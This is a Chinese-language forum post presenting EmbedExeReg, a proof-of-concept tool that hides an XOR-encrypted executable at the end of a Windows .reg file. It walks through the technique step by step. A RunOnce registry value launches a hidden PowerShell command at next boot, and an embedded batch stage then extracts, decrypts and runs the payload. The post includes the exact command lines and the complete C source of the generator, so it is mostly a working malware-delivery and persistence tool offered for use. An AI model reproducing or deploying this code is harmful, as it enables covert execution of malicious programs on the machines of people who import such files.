DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 4135|回复: 0

[技术前沿] EmbedExeReg - 在 .REG 文件中嵌入 exe 并自动执行

[复制链接]

188

主题

35

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
354
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-8-3 16:59:58 | 显示全部楼层 |阅读模式

今年早些时候,我发布了一个名为 "EmbedExeLnk" 的 PoC 项目 —— 该工具将生成一个包含嵌入式 EXE payload 的 Windows lnk 文件。与该项目相似,另外我创建了一个工具来生成包含 EXE payload 的 Windows 注册表 .reg 文件。

.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排一个程序在下次启动时运行:

  1. REGEDIT4

  2. [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
  3. "StartupEntryName"="C:\\test\\program.exe"
复制代码

由于 Run/RunOnce 键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。以最简单的形式可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。但是,与之前的 .lnk PoC 一样,想更进一步,不需要额外下载。

首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示错误。幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。这意味着将我们的 EXE payload 附加到 .reg 文件的末尾是安全的。

现在我们有了一个包含主要 payload 的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。由于payload 将在下次重启后执行,我们在这里遇到的第一个问题是不知道 .reg 文件在目标计算机上的存储位置。我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。

下一个问题是我们无法直接从 .reg 文件执行 payload,因为 EXE 数据存储在文件末尾。这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。

我创建了一个 PowerShell 命令来执行上面列出的所有操作 - 当直接从 cmd.exe 成功运行,但在插入 RunOnce 注册表项时根本没有执行。在花了一些时间调查此问题后,我发现 Run/RunOnce 注册表项的最大值长度似乎约为 256 个字符。如果一个值超过这个长度,它会被忽略。我的命令长度超过 500 个字符,这就解释了为什么它最初不起作用。

可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的 "阶段" 以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce 值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。

  1. cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码

我还对我为原始 EmbedExeLnk 项目编写的 EXE payload 使用了相同的基本 XOR 加密。

最终的 .reg 文件将具有以下结构:

  1. <.reg data>
  2. <.bat data>
  3. <.exe data>
复制代码

Example:

  1. REGEDIT4

  2. [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
  3. "startup_entry"="cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;""

  4. \xFF\xFF

  5. cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
  6. exit

  7. <encrypted .exe payload data>
复制代码

上面的示例文件可以分为 3 个部分:

原始 .reg 数据

这会在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 键中创建一个名为 startup_entry 的值。这将导致计算机下次启动时执行以下命令:

  1. cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码

此命令在 C:\drive 中搜索与指定文件大小 (在本例中为 0x000E7964) 匹配的 .reg 文件以定位自身,然后将这个 .reg 文件复制到 TEMP 目录中,命名为 tmpreg.bat 并执行。

该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。

嵌入 .bat 数据

下一个数据块包含嵌入的 .bat 命令:

  1. cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
  2. exit
复制代码

此命令从当前文件的末尾提取主 EXE payload。EXE 起始点的偏移量由生成器工具硬编码 (在本例中为 640 字节)。EXE 被复制到 TEMP 目录,解密并执行。

注意当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。这不应该有任何不利影响,因为它们不是有效的命令。

嵌入 .exe 数据

最后一个数据块包含加密的 .exe payload。



此方法的主要缺点是需要管理员权限才能导入 .reg 文件,另一个缺点是主 payload 在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享,这意味着它们可能对对手的模拟操作有用。

全部代码:

  1. #include <stdio.h>
  2. #include <windows.h>

  3. DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
  4. {
  5.         char szRegEntry[1024];
  6.         char szBatEntry[1024];
  7.         char szStartupName[64];
  8.         BYTE bXorEncryptValue = 0;
  9.         HANDLE hRegFile = NULL;
  10.         HANDLE hExeFile = NULL;
  11.         DWORD dwExeFileSize = 0;
  12.         DWORD dwTotalFileSize = 0;
  13.         DWORD dwExeFileOffset = 0;
  14.         BYTE *pCmdLinePtr = NULL;
  15.         DWORD dwBytesRead = 0;
  16.         DWORD dwBytesWritten = 0;
  17.         char szOverwriteSearchRegFileSizeValue[16];
  18.         char szOverwriteSkipBytesValue[16];
  19.         BYTE bExeDataBuffer[1024];

  20.         // set xor encrypt value
  21.         bXorEncryptValue = 0x77;

  22.         // set startup entry name
  23.         memset(szStartupName, 0, sizeof(szStartupName));
  24.         strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);

  25.         // generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
  26.         memset(szRegEntry, 0, sizeof(szRegEntry));
  27.         _snprintf(szRegEntry, sizeof(szRegEntry) - 1,
  28.                 "REGEDIT4\r\n"
  29.                 "\r\n"
  30.                 "[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]\r\n"
  31.                 ""%s"="cmd.exe /c \\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\""\r\n"
  32.                 "\r\n"
  33.                 "\xFF\xFF\r\n"
  34.                 "\r\n", szStartupName);

  35.         // generate bat file data
  36.         memset(szBatEntry, 0, sizeof(szBatEntry));
  37.         _snprintf(szBatEntry, sizeof(szBatEntry) - 1,
  38.                 "cmd /c "powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;"\r\n"
  39.                 "exit\r\n", bXorEncryptValue);

  40.         // create output reg file
  41.         hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  42.         if(hRegFile == INVALID_HANDLE_VALUE)
  43.         {
  44.                 printf("Failed to create output file\n");

  45.                 return 1;
  46.         }

  47.         // open target exe file
  48.         hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  49.         if(hExeFile == INVALID_HANDLE_VALUE)
  50.         {
  51.                 printf("Failed to open exe file\n");

  52.                 // error
  53.                 CloseHandle(hRegFile);

  54.                 return 1;
  55.         }

  56.         // store exe file size
  57.         dwExeFileSize = GetFileSize(hExeFile, NULL);

  58.         // calculate total file size
  59.         dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
  60.         memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
  61.         _snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);

  62.         // calculate exe file offset
  63.         dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
  64.         memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
  65.         _snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);

  66.         // find the offset value of the total reg file length in the command-line arguments
  67.         pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
  68.         if(pCmdLinePtr == NULL)
  69.         {
  70.                 // error
  71.                 CloseHandle(hExeFile);
  72.                 CloseHandle(hRegFile);

  73.                 return 1;
  74.         }
  75.         pCmdLinePtr += strlen("_.length -eq ");

  76.         // update value
  77.         memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));

  78.         // find the offset value of the number of bytes to skip in the command-line arguments
  79.         pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
  80.         if(pCmdLinePtr == NULL)
  81.         {
  82.                 // error
  83.                 CloseHandle(hExeFile);
  84.                 CloseHandle(hRegFile);

  85.                 return 1;
  86.         }
  87.         pCmdLinePtr += strlen("select -Skip ");

  88.         // update value
  89.         memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));

  90.         // write szRegEntry
  91.         if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
  92.         {
  93.                 // error
  94.                 CloseHandle(hExeFile);
  95.                 CloseHandle(hRegFile);

  96.                 return 1;
  97.         }

  98.         // write szBatEntry
  99.         if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
  100.         {
  101.                 // error
  102.                 CloseHandle(hExeFile);
  103.                 CloseHandle(hRegFile);

  104.                 return 1;
  105.         }

  106.         // append exe file to the end of the reg file
  107.         for(;;)
  108.         {
  109.                 // read data from exe file
  110.                 if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
  111.                 {
  112.                         // error
  113.                         CloseHandle(hExeFile);
  114.                         CloseHandle(hRegFile);

  115.                         return 1;
  116.                 }

  117.                 // check for end of file
  118.                 if(dwBytesRead == 0)
  119.                 {
  120.                         break;
  121.                 }

  122.                 // "encrypt" the exe file data
  123.                 for(DWORD i = 0; i < dwBytesRead; i++)
  124.                 {
  125.                         bExeDataBuffer[i] ^= bXorEncryptValue;
  126.                 }

  127.                 // write data to reg file
  128.                 if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
  129.                 {
  130.                         // error
  131.                         CloseHandle(hExeFile);
  132.                         CloseHandle(hRegFile);

  133.                         return 1;
  134.                 }
  135.         }

  136.         // close exe file handle
  137.         CloseHandle(hExeFile);

  138.         // close output file handle
  139.         CloseHandle(hRegFile);

  140.         return 0;
  141. }

  142. int main(int argc, char *argv[])
  143. {
  144.         char *pExePath = NULL;
  145.         char *pOutputRegPath = NULL;

  146.         printf("EmbedExeReg - www.x86matthew.com\n\n");

  147.         if(argc != 3)
  148.         {
  149.                 printf("Usage: %s [exe_path] [output_reg_path]\n\n", argv[0]);

  150.                 return 1;
  151.         }

  152.         // get params
  153.         pExePath = argv[1];
  154.         pOutputRegPath = argv[2];

  155.         // create a reg file containing the target exe
  156.         if(CreateRegFile(pExePath, pOutputRegPath) != 0)
  157.         {
  158.                 printf("Error\n");

  159.                 return 1;
  160.         }

  161.         printf("Finished\n");

  162.         return 0;
  163. }
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 (吉沃科技) ( 京ICP备2021005070号 )

GMT+8, 2024-12-22 14:50 , Processed in 0.088928 second(s), 27 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表